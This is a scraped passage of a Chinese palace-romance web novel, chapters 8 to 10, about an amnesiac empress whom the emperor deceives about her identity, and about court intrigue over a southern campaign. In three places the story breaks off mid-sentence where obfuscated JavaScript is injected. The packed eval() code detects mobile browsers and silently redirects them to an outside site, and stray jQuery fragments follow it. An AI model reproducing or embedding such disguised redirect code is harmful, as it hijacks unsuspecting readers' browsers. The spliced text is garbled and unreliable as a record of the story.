这偌大的椒房殿里,满殿的宫人诚惶诚恐地伺候着她,他们都跪在她的面前,因为她是他们的主子,她是高高在上的皇后,应该由她来向他们发号施令。
可是媜珠此刻反而觉得,似乎也并不完全是这样的。
不知道从什么时候开始,或许是因为失忆,她鲜少再认真地思索过自己存在于这世上的意义,只是木讷地遵循身边人的安排而生活。
她是个没有过去的人,她无法回忆自己从前的人生,因为那些她都忘记了;
她也不需要去思虑自己的将来,因为她是周奉疆的女人,她的未来都由她的丈夫来决定。
那么,身为一个活生生的人,她活在这世上的意义又是什么?
媜珠又想到了自己今日才做过的那个梦。
直到现在,她才后知后觉地意识到那个梦的诡异和不对劲之处。
梦中,她见到自己已经嫁过丈夫一次了,但是却因为梦里那个“兄长”的阻挠和不满,她最终没有嫁成。
兄长带人一路追了出来,残暴地用一把陌刀直接砍破了她的花轿,把她从花轿里生生扯了出来,将她带回家中再度软禁起来。
他还对她说了一句话,
——“媜媜啊……告诉为兄,你这是要着急去嫁给谁?”
本来,这个梦应当是合乎她人生原本的轨迹的,因为按照别人告诉她的故事里,一开始她就对她现在的丈夫立誓“非君不嫁”,起先阻挠过她和她丈夫婚事的人,也的确是她娘家的兄长。
这些都没错。
可是最大问题就出在,到底是她娘家的哪个兄长能做到骑在骏马之上,以陌刀砍碎车轿呢?
在媜珠的记忆里,在娘家赵家她只有两个兄长。
长兄是她一母同胞的亲生兄长,也应该就是她记忆中那个曾经遏阻她婚事的人。
但她的长兄自幼并不习武,就连马上的骑射功夫也是资质平平,分明只是个青竹一般温文尔雅的书生公子罢了,他怎么可能做到手提陌刀砍人?
从前别人告诉她说,她长兄经常和她为了她的婚事争吵,媜珠是相信的。但若说他能提着一把二三十斤的长刀、做出骑马砍人的事情……媜珠怎么也不愿意信。
至于若说这个人是她的二哥,那她更不信。
二哥是她娘家的堂兄,是她二叔母所生,这人还不如她长兄呢!
长兄只是不善骑射,这个二兄,从小学骑马的时候从马上摔下来过一次,后来据说是死活不肯再上马,一辈子弱不禁风地连马都不会骑。
那么,这个梦到底是真的还是假的呢?
如果是真的,那个提着陌刀的“兄长”,又究竟是谁?
还有,到底是她的哪个兄长可以做到把她当年的丈夫周奉疆一把从轿子里扯下来,踹到在地上?
她的丈夫毕竟是武人出身,且不说马上骑射功夫十分了得,何况他身长九尺,身形颀伟健硕,少年时还曾是他养父周鼎的重甲铁骑营的精锐……
他能被她那些文弱的娘家兄长一脚踹倒在地么?
*
……媜珠游离在外
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640950|172711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的思绪随着宫人们谦卑恭顺的下跪行礼之声而打断。
这个点,是皇帝从宣室殿那边过来了。
媜珠连忙从椅子上起了身,但还不等她俯身行礼,皇帝已经上前将她按坐回了椅子上。
她抬首仰视着自己的丈夫,见他眉宇之间颇有疲色,他伸手轻轻托起她的下巴,略带薄茧的指腹摩挲着她脸颊细嫩无瑕的肌肤,一如既往温柔地问她:“媜媜,现下觉得身子可好些了没?下午时睡得如何?”
媜珠轻轻微笑:“劳陛下挂念,妾一切都好,已经不觉不适。倒是陛下,政务虽紧要,可也要保重圣躬才是,万不可过多劳累了。”
皇帝应了一声,没再说什么,在媜珠对面坐下,同她一起用了晚膳。
这晚的月色蒙着一层薄霜,悄然爬上长安城巍峨帝宫的每一寸檐角,桂香也在夜色里冷去。
洗漱更衣后,帝后二人在内殿帷帐之内的床榻上歇下,也许是顾及她才小病了一场,皇帝这夜并没有让她侍寝,只是将她拥在怀中,一下又一下地轻抚着她披散在后背的浓密发丝。
不知为何,此刻两人俱是睡意全无。
但是媜珠觉得自己似乎是知道为什么的。
即便有着君臣之别,但是他们好歹还做了这么多年的夫妻,该有的一点儿默契也还是有的。
这晚上,他们之间还有一些没有说清的事情。
寂寥的深夜里,终于是媜珠先开了口。
她侧身枕在周奉疆的臂膀上,丝被勾勒着她曼妙的身躯曲线,即便床帷之内光线昏暗,她根本看不清什么,可她仍然保持着望向他那边的姿势,缓缓吐息:
“陛下,妾想知道,您那日为什么要召见穆王和王妃斥责他们……妾觉得,您似乎不喜欢妾提及太后所生的那位兖国公主妹妹,可是,这是为什么呢?为什么妾听到陛下和穆王他们说的那些话后,妾就昏倒了过去?”
周奉疆的呼吸迟钝了片刻。
他睁着双眸望着头顶床帘帐幔上的繁复刺绣花纹,眸中爬满了一片骇人的红血丝。
不过媜珠并没有看见。
在媜珠主动开口询问之后,他沉默了片刻,一言不发,而媜珠依旧不依不饶地看着他,像是在坚决向他索要一个答复。
见他不答,媜珠难得从心底生气了一股名为执拗的情绪,又继续道:“陛下,妾自当年失忆之后,就再也记不得从前的事了……陛下那日和穆王夫妇说的话,妾站在门外是听到了的。妾觉得,当年兖国公主还在世时一定认识妾身,并且和妾身有过一段交集,是吗?那陛下能不能——能不能和妾身说一说有关兖国公主的事?”
“两日前,妾曾经和太后提起公主,太后也是不大高兴的样子,这到底是为什么?”
为什么?
因为你就是那个早已死去了的兖国公主啊!
周奉疆在心底冷笑。
他越发用力地搂紧了枕畔的这个女人,将她按在自己怀里,好半晌后,他才终于开了口:
“朕没想过瞒着你什么。朕不让旁人对你提及兖国公主,只是怕想起此人会刺激到你,令你心中不快,头疾发作。”
皇帝的嗓音里带着媜珠几乎从未听到过的疲倦,他好像真的很累。
8. 第 8 章
面对媜珠的质疑和发问,皇帝在这夜里给了她一个这样的解释。
他对她说:“媜媜,你知道的,昔年朕是太后和先帝的养子,那时你姑母是冀州侯夫人,你也常到周家来玩,朕这才得以与你相识。太后当年膝下只亲生了一个兖国公主,亦是朕的三妹。三妹是家中唯一嫡女,自幼备受宠爱,难免恃宠而骄,莫说是表姐妹、堂姐妹了,就是自家的亲姐妹们,她也难得放在眼里。所以那时每每你到周家来,少不得要受三妹几分刁难的挖苦……她昔年待你不好,所以如今斯人已逝,朕不想你多提她。”
皇帝并不是个善于说谎话的人,他也并不屑和谁认真编什么谎话来唬人,此时面对媜珠的询问而编出的这套话术,当然还是倪常善打好了腹稿主动献到皇帝跟前的。
——不过,倪常善自认为聪明地编出这套谎话的时候,还并不知道日后他将给他的主子惹出多大的麻烦。
事实上,如果媜珠这会子就能想起过去的记忆的话,她恐怕是要被再度气得晕倒的。
毕竟,她周三娘子什么时候恃宠生骄过了?什么时候仗势欺人过了?
明明当年整个周家,不论是周鼎的那些养子还是他的亲生儿女里面,周三娘子都是性情最温顺、秉性最纯善的一个了。
当年的周家就是个人人各怀鬼胎的龙潭虎穴,唯独三娘待在那蛇窟狼窝里头,是最懵懂纯净的一只兔子,浑身上下的毛都白得没有一丝瑕疵的那种。
她是一个连家中奴婢仆从都舍不得重言斥责的人。
在她做周三娘子的那十几年里,周家的那些养子们,她的亲兄弟姐妹们,包括她的堂姐妹表姐妹、堂兄弟表兄弟们,乃至家中奴仆之流,几乎没有人没受过她的关照和恩惠的。
她记得她每一个手足姊妹们的生辰,甚至每一年都会给每个人送上一份贴心的生辰礼物。
周鼎颇为宠爱她这个嫡女,赏赐她的金银珠宝、珍奇赏玩从来就没少过,而她最心软又大方,最后这些东西零零碎碎全都送给了家里家外的这些姊妹们了。
甚至当年她趁着周奉疆不在冀州的时候连夜出逃仓皇嫁人,连自己的嫁妆都没带齐,还能记得关照赵夫人一声说:“母亲,这些准备的妆奁我带不走了,左右四妹妹也快要嫁人,您就叫四妹到时带走吧。”
若不是她的这份纯真良善,周奉疆也不至于盯准了她,非要得到她不可。
不过这些话,现在说来就谈得太远了。
*
眼下听到皇帝如此解释,媜珠不由得唇瓣微张:“原来妾身从前和兖国公主并不交好?是兖国公主不喜欢妾么?可是,这是为什么呢?”
周奉疆俯首过来亲了亲她的额心:“哪有什么为什么,她性子娇纵,除了她爹娘,她谁都不喜欢,和谁都不交好。你不必为了她多心多想。”
媜珠的神色变得有些茫然:“那……陛下,妾可否斗胆一问,陛下那日召来穆王夫妇斥责,就是因为您怀疑穆王妃曾在妾面前提过兖国公主吗?”
作为一个皇帝的女人,媜珠对着周奉疆问出这话已经显得有些僭越无礼了。
不过她知道自己有这个僭越无礼的权力——如果只是偶尔一两次的话,凭借多年的夫妻情意,周奉疆还是愿意纵容她的。
她甚少在周奉疆面前使用这些额外的权力,但是今天,她实在想要把自己想知道的事情问一个清清楚楚。
周奉疆轻轻地颔首承认了。
“自从当年你因伤失忆后,朕并不想让你费力再去想起从前过往,这些事情,朕更宁愿让你顺其自然就好。朕不喜欢别人在你面前提起那些让你不高兴的人,兖国公主就不能提。她以前常常欺负你,还会把你欺负得偷偷哭。你若是想到和她相关的事,当然心下不快,朕不想看到你不高兴。……若真是当日穆王妃在你面前失言,朕责罚穆王府,有何不可?”
媜珠愣了愣。
其实她内心并不赞成皇帝的这种做法,但是一个帝王的喜怒和言行,并不是能被一个后宫的女人所左右和控制的,而她也不敢对着皇帝指手画脚,所以她没有对此说什么。
她轻叹了一声:“原来一切都只是这样吗?”
原来真的只是她多心了吗?
皇帝抚了抚她的肩头:“媜媜,你不必多心。朕什么都没有瞒着你,这世上没有人比朕更爱你,朕会永远爱惜你,朕做的每一件事,都是为了你好。”
媜珠最终什么也没有再问,两人之间把话说开了,发现这似乎真的只是一件很小的、很简单的事情一般。
这件事,大约可以就这样翻篇了。
不过在彻底睡下之前,媜珠还是为了另一件事小心地征询了皇帝的意见:“穆王妃才刚生下孩儿不足百日,正是虚弱的时候,又因被妾身牵连受了训斥。妾怕王妃产后心情郁郁,损伤身体,明日想让宫内女官带着一点妾赏赐的礼物去看望王妃一番,可以吗?”
皇帝想也不想便答应了下来:“自然可以。朕的媜媜从来都是这样心软善良。”
得到皇帝的准许,媜珠在他怀中蹭了蹭,找了个舒服的姿势,慢慢睡着了。
他凝视着媜珠的睡颜,这一刻的心终于是安宁的,仿佛她将会永远陪伴在他身边一样。
周奉疆一直都知道,媜珠的心有多软、多善良。
她总是舍不得身边的任何一个人受伤。
在她还小的时候,她并不清楚她父亲的那些养子和她父亲的亲生儿子们有什么区别,总是把他们都当做是她的亲兄长。
尤其是他被养在赵夫人膝下,从小伴她一起长大,所以她在她还不知事的年纪里,她一直都默认他也是她母亲赵夫人所生,是和她一母同胞的亲兄长,所以待他更为亲近。
直到后来有一日,她和她父亲一个宠妾所生的女儿,不知为了什么事拌嘴争吵起来。
那周六娘子指着她说:“我母亲生了我,生了我哥哥,我姐姐,还有我弟弟,说不定以后还会有个妹妹呢!我有一母同胞的兄弟姐妹,我什么都有!而你什么都没有!”
媜珠十分不平地与她吵道:“这有什么稀罕的!我也有一母同胞的哥哥,我阿兄对我可好了!”
周六娘子大约就是在等着诈出她这句话来,听到她这么说了之后,马上得意地捧腹大笑:“你和周奉疆一母同胞?哈哈哈!三姐姐,你知不知道,我姨娘说了,周奉疆的亲生母亲可是个军中营妓啊!你怎么和他是一母同胞!”
这话传出去后,闹得赵夫人面上无
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640951|172711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
光,恨得咬牙切齿,把媜珠喊回自己院子里痛骂了一顿。
也是从那之后,媜珠才迷迷糊糊地意识到,原来他和她并不是同一个母亲生的。
或者是,他们并不是亲兄妹。事实上,他们之间本来只该是陌生人。
如果不是他得幸能被她父亲青眼看中,收养为养子,那么他这辈子或许连见都不配见到她一眼。
周奉疆的身世随着后宅里女子的明嘲暗讽再度被掀了出来,在那些和他一样同为养子的少年间又沦为数日不止的笑谈,所有人都再度用那种轻蔑的眼神隐晦地打量着他。
也只有媜珠,即便意识到他和她并非一母同胞的亲兄妹,也依然如往日般甜甜地喊他“阿兄”,待他一如往昔。
后来她察觉到他有一段时间总是看起来很落寞,不止一次地问他到底是怎么了,她也不明白为什么周家的其他人、周鼎的其他养子们,都会抱团在一起欺负他。
那时他漫不经心地敷衍了她一句说,因为他的出身低贱,因为他有一个令人不齿的生母,他的生母从事着世人眼中十分下贱的营生,所以就连他的身上也似乎流淌着污浊的血脉。
旁人轻视他、欺辱他,都是理所当然的。
媜珠却歪了歪头,很是不解:“什么是营妓?为什么阿兄的生母是个卑贱的女人?可她明明有阿兄这么厉害的儿子啊!我听爹爹的幕僚们都说,爹爹的儿子里面,当属阿兄的骑射功夫最为出色了得,可以和当年的爹爹一比!我爹爹的母亲、我的祖母可是以前的俪阳公主,那这么算的话,阿兄的母亲岂不是和公主一样厉害,也是凤子龙孙一样的高贵血统?”
周奉疆当时就连忙去捂住她的嘴,让她千万不能再和别人说起这些话,拿冀州侯的母亲俪阳公主和一个营妓相比,闹出去可不是玩的。
媜珠连连点头。
他至今记得她那时扎了两个很可爱的花苞髻,发髻上系着藤萝紫的发带,发带上还缀着银铃铛,铃铛上刻着精致的莲花纹样。随着她摇头晃脑点头的动作,银铃响个不停。
“阿兄你放心吧,我只告诉你一个人,和别人都不会说的!他们那是……那是有眼不识泰山!可我就觉得,阿兄的亲生母亲一定是一个和公主一样优秀的女子,她才不卑贱呢!”
可是事实上呢?
直到他都当上皇帝了,天下人里,恐怕也没多少人真心瞧得起过他的生母的。
百姓们只是嘴上不敢往外头说罢了,心里头也还是会笑话的:
——“前楚皇室的凤子龙孙们,竟然把这祖宗基业的江山输给了一个娼妇的儿子,啧啧啧,也真是不中用了。”
唯独媜珠,曾经用那样真诚而纯粹的眼神看着他,对他说,在她眼里,他母亲一定和公主一样好。
有时候他也希望自己可以像媜珠一样,痛痛快快地失忆一场就好了。
他也想忘记自己年少时的记忆,忘记那些屈辱的、受人欺凌的、如丧家之犬般讨一口馊饭只为活下去的记忆。
但他又不敢忘,忘掉那些记忆,可以让他失去痛苦,也会让他忘却媜珠。
他不能没有媜珠。
周奉疆呼出一口浊气,在脑海中压下了那些往日的回忆,怀拥着媜珠沉沉睡去。
9. 第 9 章
因媜珠一病,赵太后也免了她七八日的请安,叫她养好身子再去伺候她。
虽然不是亲婆婆,但是太后的身份地位摆在那里,媜珠还是得拿她当亲婆婆一样敬着。
太后话是这么说了,可媜珠哪好意思真的歇个七八日,不过中间隔了三四日的功夫,她又垂眉顺目地到承圣殿里去给太后请安了。
这一日还正好碰见了颍川长公主和穆王妃。
穆王妃本是为了那日媜珠对她的赏赐再度入宫谢恩的,但是宫道上碰见了同样入宫来的颍川公主,颍川公主便邀她一同去太后的承圣殿里坐坐,穆王妃只好随了颍川公主一同先来太后处。
颍川公主是先帝周鼎的第四女,是他一个不得宠的妾室所生,那妾室生下颍川公主后身体受损严重,容貌失妍,再也没得过周鼎的宠爱。
此后十数年的时间里,母女两人就这么谨小慎微地在冀州侯府里夹着尾巴过日子。
周鼎活着的时候,他其他的妾室们忙着生儿子、争家业、争宠,唯独颍川公主母女俩人终日寂寞得四目相对,潦草枯燥,浑浑噩噩度日。
偏等到周鼎死了,颍川公主母女俩倒是尊贵了起来。
概因她们母女与世无争多年,哪一方都没有得罪过,就连周奉疆都懒得找她们母女麻烦。
后来颍川公主被周奉疆嫁给了一个冀州的年轻将军,待周奉疆即位后,又封她为颍川公主,封她生母为先帝周鼎的李贤妃,如今也是尊贵的太妃,安养在女儿颍川公主的公主府里,晚年还有女儿和外孙们承欢膝下,何其安逸自在。
颍川公主侍奉嫡母赵太后也是极诚孝的,每月每旬都要入宫给太后请安,给太后奉上她亲手做的针线活等。
颍川公主和穆王妃见媜珠来了,恭恭敬敬地起身向媜珠行了礼。
媜珠拜见过了太后,又赶紧请她们都坐下。
当日因“兖国公主”之事闹出的一场风波,太后、媜珠和穆王妃三人都心照不宣地不再提起,仿佛此事从没有发生过一般。
媜珠眼尖,瞧见太后眼下有些乌青,又听福蓉说起太后这两日睡得不好,吃得东西也不多,不由得也有些着急,便叫福蓉命人去做一盅黄芪当归鸽子汤来,秋冬日里养身是最好的。
赵太后含笑点了点头:“也是有一阵子没用过鸽子汤了,今日听皇后这么一说,我倒真有些胃口。”
殿内略坐了一阵,说了一会儿话,尽管颍川公主已经在极力掩饰着自己的情绪,但媜珠还是注意到公主今日的神色很不对劲。
她的眼眶泛着一圈红,像是刚刚才哭过一场。
媜珠的心下略一沉吟,很快就想明白了过来。
恐怕颍川公主今日入宫,本来就是有所求于宫内主子们的,她这会儿装作点点滴滴地慢慢哭出来,在太后皇后面前失了态,就是等着她们主动开口问一句她这是怎么了,然后她才好借坡下驴,顺水推舟,缓缓地说出自己所求为何,看看太后和皇后能不能顺势满足了她的心愿。
宫里宫外的女人们要有求于人么,都是这个人情世故的套路。媜珠虽然失了忆,但是还没傻到这个地步。
果然,还不等媜珠开口,太后就先发了话,靠在上首宝座的椅背上,慢悠悠地问了一句:“四娘子呀,你今日这是怎么了?”
颍川公主连忙起身朝地上一跪,一边又抬手抹了把眼泪:“太后恕罪,是女儿失仪,女儿有罪。”
媜珠看了眼太后的神情,也放下了手中的茶盏,作势伸手虚扶了地上的颍川公主一把:“四妹妹这是怎么了,快起来吧,有什么话咱们慢慢说就是。”
听到这声久违的“四妹妹”,颍川公主的眼底划过片刻的波澜。
很多年前,最爱喊她“四妹妹”的,只有她的三姐姐周媜珠一个人,除了媜珠之外,几乎从未有人这样亲密地喊过她四妹妹或是四姐姐。
斯人已“逝”,如今这个人就算仍然站在她面前,她也不能再叫她一声姐姐,只能恭恭敬敬地称她为皇后、皇嫂。
颍川公主被太后身边的福蓉重新扶着坐回了椅子上,公主拿着绢帕小心地擦着眼泪,断断续续地开了口,一手扶着平坦的腹部,轻声吐露道:“是妾近来又有了身孕,恐怕是孕中女子易多思虑,加之驸马又要远行的事……妾心里放心不下,这几日难免夜不能寐、食不下咽的,这才叫太后母亲和皇后嫂嫂看了笑话。”
媜珠不由莞尔:“四妹妹又有了孕事了?当真是天大的好事,看来本宫又要多一位外甥了。”
穆王妃也连忙欠身向颍川公主道了喜。
不过,听颍川公主的这番话,她想要表达的重点显然并不是这个刚怀上的胎儿,而是她的驸马。
她的驸马要远行,而她不希望她的驸马离开。
太后仍旧是那副气定神闲的姿态,不慌不忙地接了话茬:“驸马外头有军务在身,那是他们男人的事,和你有什么相干?何需你一个公主去给他整日悬心的?四娘子顾全好自己的双身子就是了。福蓉啊,去岁渤海郡郡守献我的一盒山参呢,你寻出来,叫四娘带回去,补补身子,瞧瞧你忧心忧得自己下巴都尖了些。”
福蓉赶忙应声去了。
颍川公主有些愕然地抬首望了太后一眼,显然,太后话中的冷漠让她大为失望,这似乎也暗示了太后压根不想管她委婉的索求。
殿里的几个女人都听出来了,颍川公主此来是为了自己驸马韩孝直而来。
不知是皇帝要派韩孝直往哪里去办个公差,恐怕还是个苦差事,公主舍不得自己的驸马遭这个罪,挺着还没显怀的孕肚进宫,哭到了太后和皇后跟前,就盼着太后皇后看在公主哭诉的份上,回头能劝皇帝两句,叫皇帝免了驸马的这个差事。
然而太后根本不吃她这一套,根本就不想理她。
穆王妃置身殿内,看着这满殿的凝滞尴尬气氛,掩袖悄悄露出了一个虚弱的笑意。
太后当然不会管颍川公主的驸马了,公主求了也是白求。
颍川公主和太后不是亲母女,太后和皇帝也不是亲母子,三个人中间隔了十八层的血脉,这劳什子驸马韩孝直更是个外姓人,谁又真的在意过谁的死活?
不过是面上充一副母慈子孝、兄友弟恭、手足情深的假象罢了。
就连赵太后自己的亲女儿周媜珠,在她眼皮子底下被她的养子周奉疆强占了这么多年,她这个母亲又何曾敢管过?
倒是媜珠又忍不住问了一句
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640952|172711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“韩驸马是要往哪里去?多远的路程,要在外头逗留多久?怎么惹四妹妹这样忧心呢?”
在媜珠这些年对颍川公主为数不多的记忆里,颍川公主是一个十分本分内敛的人,甚少有为私事开口求到宫里来的。
年初的时候,公主生母李太妃的弟弟因纵马伤人致死之罪入狱,李太妃想叫公主入宫求太后皇后饶她弟弟一个死罪,公主都拒不愿意,不肯舔着一张脸入宫求这个恩典。
最后李太妃的弟弟还是按律伏诛了。
亲舅舅的死罪在即时,她都不肯开口求一求人,如今却为了驸马的公务求到了宫里,想来定是不一般的事,不然也不能把公主逼到这个份上来。
听得皇后问起,颍川公主立马像抓到一根救命稻草一般,将一张布满哀求泪水的面孔转向媜珠,哽咽道:“驸马……驸马是要往南边交州一带去呢,那路途又远,来去不便,且僚人又多,民风未开,瘴气湿热……驸马要去这般地带,妾身心里如何不牵挂啊娘娘!”
媜珠仍是不解:“交州?那么远?韩驸马去交州做什么?”
她这么一问,殿内的旁人就听出来她这是对前朝和外头的事儿一概不知情了。
因为两日前,皇帝已经封了颍川公主的驸马韩孝直为交州司马、猛烈将军,命他南征交州,平交州薛坚明之乱,灭南楚伪帝张道恭。
前楚国祚虽尽,但是前楚的亡国之君张道恭这些年来仍然率领残部活跃在南边交州一带,暗中充盈势力、招兵买马,意图实现他的复国雄志。
大魏新朝立国虽快,但是地方上不免还有面服心不服之徒,暗中也与张道恭尚有勾结,意欲勾结张道恭的残部动乱大魏新朝根基。
就比如前些日子刚刚反叛而倒向张道恭的交州刺史薛坚明。
媜珠既问,颍川公主不好不答,她觑了眼太后的眼色,小心翼翼地说:“陛下命驸马去平交州薛坚明之乱。”
她格外谨慎地略去了另一个男人的名字,因为若是在皇后跟前提到了“张道恭”这个人,让皇帝知道了……下场会多么惨烈,实在不必多说。
媜珠有些惊愕:“交州有薛坚明之乱?是近来的事情?”
严重吗?叛军之数有多少?可有危及南地交州的黎民百姓?交州的百姓现下如何了?
媜珠一时间有许多的话想问,但是话到嘴边了,又觉得在后宫之内公然谈及政事,未免有些不妥,向太后、穆王妃和颍川公主她们问,她们大约也不知要如何回答,所以最终她还是没有问太多。
颍川公主含泪点了点头:“就是上月里才出的事。”
媜珠这时就已经对颍川公主的心思了然了。因为驸马身上肩负的,似乎的确不是个好差事。
让他不远千里出去打仗,去的还是一个蛮荒之地的危险地方,若是仗打得不好,甚至还会触怒天子,实在是怎么都不讨好。
难怪颍川公主要哭哭啼啼地过来找她们求情,想让她们去劝皇帝收回成命。
只是很可惜的是,即便在外人眼中,媜珠享有天子给予的无上的宠爱,夜夜专房之宠,这种事情,她还是没有权力开口的。
在她的认识里,这已经极大超越了她享有的那点权力范围。
10. 第 10 章
所以,听完颍川公主的一番哭诉之后,媜珠同样悄然瞥了眼太后的神色,只能尽可能语气委婉地劝了劝公主:
“交州虽多瘴气湿毒,但驸马这些年素来身子强健,想来不会有什么事的。等四妹妹腹中的孩子平平安安生下来,想必驸马也就得胜还朝了,届时双喜临门,岂不更好?四妹妹的担心我也明白,宫中太医署里若有善治瘴毒的医者,我便让他们随着驸马一道出征充作军医,叫他们好好照看驸马,四妹妹可否能安心些?”
就连皇后也把话说到这个份上了,这已经是最好的结果,颍川公主自知自己再哭下去也是徒惹人厌烦,只得俯首谢了恩,慢慢止了哭声。
这一日承圣殿内的气氛不免有些压抑不快,见太后渐渐不耐烦地蹙起眉头,颍川公主和穆王妃又略坐了阵,很快都屏息凝神起身告辞出宫。
媜珠不动声色地揉了揉自己的眉心,也随之起身离开。
坐上轿辇时,她望着承圣殿的朱漆宫门,也不由感到无比的烦闷倦乏。
最近几次来这里看太后,每次都少不得闹出些不高兴的事儿,连媜珠都开始不止一次地怀疑自己是不是撞了什么霉运。
*
长安城东的穆王府里,刚从宫里回来的穆王妃自然忍不住悄悄寻了穆王告知了方才承圣殿里发生的诸事。
穆王直到此时都没有从前两日被皇帝斥责过的恐惧里逃离出来,正畏畏缩缩地躲在自己的书房里不知在忙什么。
听穆王妃这么一说,穆王也不甚在意的样子:“你瞧瞧这颍川公主就比你聪慧了许多,人家替驸马求情,皇后问起来,她都只敢提交州的薛坚明,不敢在皇后面前提了旁人,就怕惹了陛下责罚!”
穆王妃叫穆王这么一训斥,委屈的脾气也有些上来了:“殿下这是何意?!难道殿下也都还觉得,那日真的是妾身在皇后娘娘面前失言提起兖国公主吗?您明明知道妾身是清白的,妾身是无辜的!那颍川公主怎么就是比妾身聪慧许多了?妾身才不觉得她聪明呢!妾要是她,压根就不会张嘴到宫里求这个情!明知道太后和皇后不会管的,还白白去讨人嫌……”
穆王哼了哼,没理她话中的怨怼,反而自嘲一般地笑了笑:“太后当然不会管了。四娘又不是她的亲女儿,她还会在意这女婿的死活吗?就算是她亲女儿的女婿,她也未必在乎。她亲女儿的夫婿张道恭被追着打了这么多年,她说过什么了吗?马上我父亲的两个女婿在交州一带互打,她这老贱妇倒靠着自己的好女儿,安然自若地在宫里继续做着她的皇太后!”
新封的猛烈将军韩孝直,是先冀州侯周鼎的四女婿。
至于交州那边的南楚伪帝张道恭,曾经差点就是周鼎名正言顺的三女婿了。
而且事实上,张道恭其人不仅是周三娘子兖国公主曾经的未婚夫,现在更是周三娘子庶姐周二娘的丈夫。
三娘虽然没有嫁给她心心念念想嫁的河间王,然而她的姐姐周二娘,可是张道恭昔年册封的淑妃呢。
怎么说,张道恭也还算是周鼎的女婿了。
所以穆王说的并不算错,倒确实是两个女婿在交州率兵互打,也算是一家子里的连襟两个互相撕对方的脸皮。
穆王妃并不敢开这种玩笑,连忙作势要去掩穆王的嘴:“哎呀,我的爷,我的殿下,这样的笑话哪里是能说的!这话要是真传出去叫陛下晓得了,我们穆王府上下才真的是要遭大祸临头的啊!”
穆王懒洋洋地倚在胡床上盘着手里的核桃,轻蔑地从鼻腔里哼了两声,没有再说什么。他知道他的心已经疯了很多年了。
好半晌,他又问了一句:“四娘去太后宫里哭了这么一场,那皇后是什么意思?可说了什么没有?”
穆王妃用绢帕掩了掩唇:“皇后看样子是有些心疼颍川公主,但她又能做什么呢……不过是面上宽慰公主两句就是了。”
穆王听此,愈发不屑:“那娼妇素来就没用,纸糊的架子罢了,还指望她能替家中的姊妹手足做些什么?当年周奉疆杀了她那么多兄弟,她也只会哭哭啼啼装模作样的闹两场而已。”
默然许久,穆王微微直起身体,用一种极低极低的声音轻声叹道:“太后那老贱妇也就罢了,周媜珠……她要真的有良心,真的觉得愧对父亲、愧对家中兄弟,正好借着周奉疆宠她爱她对她毫不设防,她不如拿一味砒霜索性在榻上把周奉疆毒死才是。如此,九泉之下,她才配有颜面去见父亲。”
穆王妃的神色也有些怅然:“那不是因为她现在什么都记不得了。以三娘子的刚烈,她要是能想起从前的事,说不定真能不露声色地去把皇帝给……”
*
回到椒房殿里,佩芝见媜珠情绪有些低落,大概被颍川公主那么哭了一场,皇后难免心情抑抑,她一面去给媜珠沏了盏热茶,一面又对皇后解释道:
“韩驸马是武将出身,从来骁勇有谋,是沙场上历练过的宿将。何况驸马本就是岭南交州人,于那里的山川地理颇为熟悉,幼时和当地僚人们也甚有交集,熟谙僚人民风民俗,这些都不是朝中普通将领能做到的,所以陛下当然要派韩驸马过去了。”
可不是因为皇帝看韩孝直不顺眼,故意折腾他把他弄到交州去受磋磨的。
皇帝分明是器重他。
媜珠轻轻颔首:“是陛下知人善任。”
佩芝轻轻地哼了一声,“娘娘可别见颍川公主哭得跟什么似的,依婢子说,那韩驸马自己还巴不得出去立些战功回来呢。驸马这一去,还安排着把自己的亲弟弟也带去交州战场做一个粮草官了,恐怕也是替他弟弟攒些战功和资历的意思。”
这一日,皇帝并没有陪媜珠在椒房殿里一起用晚膳,他实在太忙了,忙到晚膳也只是在宣室殿里处理政事的空隙中随便解决的,吃的也并不多。
或许是近来过于劳累的缘故,又兼是秋日里,皇帝还咳嗽了几声,眼中的红血丝也久未消散过。
听到倪常善打发干儿子倪赐清过来这么告诉她,媜珠忙不迭紧缩蛾眉,一手抚在心口处,面上是一副心疼皇帝心疼得不得了的贤惠妻子模样。
她吩咐椒房殿小厨房里的厨娘去炖一盅四神汤来,又与倪赐清说,若是一个时辰后皇帝还在宣室殿里忙,就让他来椒房殿里取走这盅汤去,带给皇帝用,充作是夜宵。
倪赐清连连应了,这才退下。
等倪赐清走后,媜珠一个人静静坐在椒房殿内的宝座上,凝神看着面前纱窗外的秋日黄昏景象。
皇帝不来,这椒房殿里只有她一个人的时候,她往往并不知道自己需要做什么。
她的一生,仿佛都是为了困在这金殿暖阁里等待着皇帝的到来的。
殿内侍立的宫婢们
